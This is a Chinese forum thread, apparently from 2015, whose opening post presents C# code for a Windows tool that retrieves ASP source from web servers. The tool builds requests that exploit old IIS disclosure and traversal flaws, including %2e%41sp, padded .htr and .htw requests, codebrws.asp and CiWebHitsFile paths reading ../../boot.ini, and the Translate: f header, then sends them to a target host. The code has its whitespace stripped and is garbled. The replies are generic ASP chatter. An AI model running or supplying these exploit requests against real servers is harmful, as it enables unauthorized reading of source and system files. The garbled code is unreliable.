仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 641|回复: 8
打印 上一主题 下一主题

[学习教程] ASP教程之一个用c#写的扫描asp源码毛病的使用程序...

[复制链接]
飘灵儿 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:28:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
ASP.NET和ASP的比较,技术上比较已经没什么可说的了.新一代在大部分程度来说当然是比旧一代好了.关键看你对所做软件的理解了.因人而定.会写的话也可能比ASP.NET写得更有效率和更方便重用//次要办法
protectedvoidbtnGo_Click(objectsender,System.EventArgse)
{

//剖析url
stringstrServer=this.txtServer.Text;
stringstrUrl=this.txtFileName.Text;
char[]point={.};//界说支解符为"."
char[]line={/};//界说支解符为"."
string[]arrString=strUrl.Split(line);

//求asp文件全名
stringstrFileName=arrString[arrString.Length-1];
//求从根目次下的路径
stringstrPath=strUrl.Substring(0,
strUrl.Length-strFileName.Length);

//剖析文件全名
arrString=strFileName.Split(point);
//求文件扩大名
stringstrLast=arrString[arrString.Length-1];
//求文件名
stringstrFirst=strFileName.Substring(0,
strFileName.Length-strLast.Length-1);



//使按钮、输出框等生效
this.txtServer.ReadOnly=true;
this.txtFileName.ReadOnly=true;
this.btnClear.Enabled=false;
this.btnGo.Enabled=false;


if(this.txtServer.Text=="http://"||this.txtFileName.Text==""
||this.txtServer.Text.Trim()==""||
this.txtServer.Text.Substring(0,7)!="http://")
{
MessageBox.Show("请输出准确的主机名和文件名!");
this.txtServer.Focus();
}
else
{
this.txtResult.Visible=true;
this.txtResult.ReadOnly=true;
this.barStatus.Text="正在保持主机…";

stringstrRequestFile;

switch(this.cboMethod.SelectedIndex)
{
case0://间接读取
strRequestFile=strServer+strUrl;
break;
case5://%2e%41sp
strRequestFile=strServer+strPath+strFirst
+"%2e%41sp";
break;
case8://longhtr
strRequestFile=strServer+strUrl
+"+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr";
break;

case10://codebrws.asp
strRequestFile=strServer+"/iissamples/exair/howitworks/codebrws.asp?source="
+strUrl;
break;

case11://showcode.asp
strRequestFile=strServer+"/iissamples/exair/howitworks/codebrws.asp?source="
+"/msadc/../../../../boot.ini";
break;

case12://null.htw
strRequestFile=strServer+"/null.htw?CiWebHitsFile="
+strUrl+"%20&CiRestriction=none&CiHiliteType=Full";
break;
case13://qfullhit.htw
strRequestFile=strServer+"/iissamples/issamples/oop/qfullhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case14://qsumrhit.htw
strRequestFile=strServer+"/iissamples/issamples/oop/qsumrhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case15://query.idq
strRequestFile=strServer+"/query.idq?CiTemplate=/../../boot.ini"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break;

case16://search/qfullhit.htw
strRequestFile=strServer+"/iissamples/exair/search/qfullhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case17://search/qsumrhit.htw
strRequestFile=strServer+"/iissamples/exair/search/qsumrhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case18://iirturnh.htw
strRequestFile=strServer+"/iishelp/iis/misc/iirturnh.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case19://.htw
strRequestFile=strServer+strUrl
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

default:
strRequestFile=strServer+strUrl+this.cboMethod.Text;
}

this.barStatus.Text="发送哀求:"
+(strRequestFile.Length>=50?
strRequestFile.Substring(0,50)
:strRequestFile)
+"...";

stringstrResult;
//假如不是translate:f办法则能够间接发送http哀求
if(this.cboMethod.SelectedIndex!=20)
{
//间接发送http哀求
strResult=Get_Http(strRequestFile);

this.barStatus.Text+="完成。";
strResult=strResult==""?"未找到!":strResult;
this.txtResult.Text=strResult;
}
else//translate:f办法必要创建tcp/ip毗连
{
stringstrRequest="GET"+strServer+strUrl
+"
HTTP/1.0
Translate:f
";
strResult=Get_Socket_Request(strServer,strRequest,80);
this.barStatus.Text+="完成。";
strResult=strResult==""?"未找到!":strResult;
this.txtResult.Text=strResult;

}

}

//使按钮、输出款等恢复
this.txtServer.ReadOnly=false;
this.txtFileName.ReadOnly=false;
this.btnClear.Enabled=true;
this.btnGo.Enabled=true;


}


//经由过程同server创建tcp/ip毗连,发送socket命令
privatestringGet_Socket_Request(stringa_strServer,stringa_strRequest,Int32a_intPort)
{
//SetupvariablesandStringtowritetotheserver
EncodingASCII=Encoding.Default;
stringGet=a_strRequest+"Connection:Close

";
//stringGet=
Byte[]ByteGet=ASCII.GetBytes(Get);
Byte[]RecvBytes=newByte[256];
StringstrRetPage=null;

//IPAddressandIPEndPointrepresenttheendpointthatwill
//receivetherequest
IPAddresshostadd=DNS.Resolve(a_strServer.Substring(7,a_strServer.Length-7));
IPEndPointEPhost=newIPEndPoint(hostadd,a_intPort);

//CreatetheSocketforsendingdataoverTCP
Sockets=newSocket(AddressFamily.AfINet,SocketType.SockStream,
ProtocolType.ProtTCP);

//ConnecttohostusingIPEndPoint
if(s.Connect(EPhost)!=0)
{
strRetPage="Unabletoconnecttohost";
returnstrRetPage;
}

//SenttheGETtexttothehost
s.Send(ByteGet,ByteGet.Length,0);

//Receivethepage,loopuntilallbytesarereceived
Int32bytes=s.Receive(RecvBytes,RecvBytes.Length,0);
strRetPage=strRetPage+ASCII.GetString(RecvBytes,0,bytes);

while(bytes>0)
{
bytes=s.Receive(RecvBytes,RecvBytes.Length,0);
strRetPage=strRetPage+ASCII.GetString(RecvBytes,0,bytes);
}

returnstrRetPage;
}

//猎取http页面函数
privatestringGet_Http(stringa_strUrl)
{
stringstrResult;
HttpWebRequestmyReq=(HttpWebRequest)
WebRequestFactory.Create(a_strUrl);

try
{
HttpWebResponseHttpWResp=(HttpWebResponse)myReq.GetResponse();
StreammyStream=HttpWResp.GetResponseStream();

StreamReadersr=newStreamReader(myStream,Encoding.Default);
StringBuilderstrBuilder=newStringBuilder();
while(-1!=sr.Peek())
{
strBuilder.Append(sr.ReadLine()+"
");
}

strResult=strBuilder.ToString();
}
catch(Exceptionexp)
{
strResult="毛病:"+exp.Message;
}

returnstrResult;

}

//加入
protectedvoidmnuExit_Click(objectsender,System.EventArgse)
{

if(MessageBox.Show("真的加入吗?","加入体系",MessageBox.YesNo)==DialogResult.Yes)
{
this.Close();

}
}


//主函数
publicstaticvoidMain(string[]args)
{
Application.Run(newForm1());
}
}
}
ASP一般认为只能运行在IIS上,正如前面所提到的,这并不是十分正确,事实上,ASP也能运行在Apache上。ApacheASP可在任意Apache服务器上运行有限的ASP功能,所需做的,只需打开mod_perl。
不帅 该用户已被删除
沙发
发表于 2015-1-18 16:06:39 | 只看该作者
掌握asp的特性而且一定要知道为什么。
谁可相欹 该用户已被删除
板凳
发表于 2015-1-22 08:57:27 | 只看该作者
我们必须明确一个大方向,不要只是停留在因为学而去学,我们应有方向应有目标.
飘灵儿 该用户已被删除
地板
 楼主| 发表于 2015-1-31 05:04:51 | 只看该作者
如何更好的使自己的东西看上去很不错等等。其实这些都不是问题的实质,我们可以在实践中不断提升自己,不断充实自己。
若天明 该用户已被删除
5#
发表于 2015-2-6 17:25:37 | 只看该作者
用户端的浏览器不需要提供任何别的支持,这样大提高了用户与服务器之间的交互的速度。
小魔女 该用户已被删除
6#
发表于 2015-2-17 16:20:43 | 只看该作者
如何学好ASP,以前也有人问过,把回答给你转过来看看能否对你有帮助:
再见西城 该用户已被删除
7#
发表于 2015-3-5 20:51:44 | 只看该作者
从事这个行业,那么你可以学ASP语言,简单快速上手,熟练dreamweav排版,写asp代码,熟练photoshop处理图片,打好基础就行了
若相依 该用户已被删除
8#
发表于 2015-3-12 14:56:31 | 只看该作者
Request:从字面上讲就是“请求”,因此这个是处理客户端提交的东东的,例如Resuest.Form,Request.QueryString,或者干脆Request("变量名")
第二个灵魂 该用户已被删除
9#
发表于 2015-3-19 23:15:16 | 只看该作者
ASP(ActiveServerPages)是Microsfot公司1996年11月推出的WEB应用程序开发技术,它既不是一种程序语言,也不是一种开发工具,而是一种技术框架,不须使用微软的产品就能编写它的代码,能产生和执行动态、交互式、高效率的站占服务器的应用程序。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-10-1 03:30

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表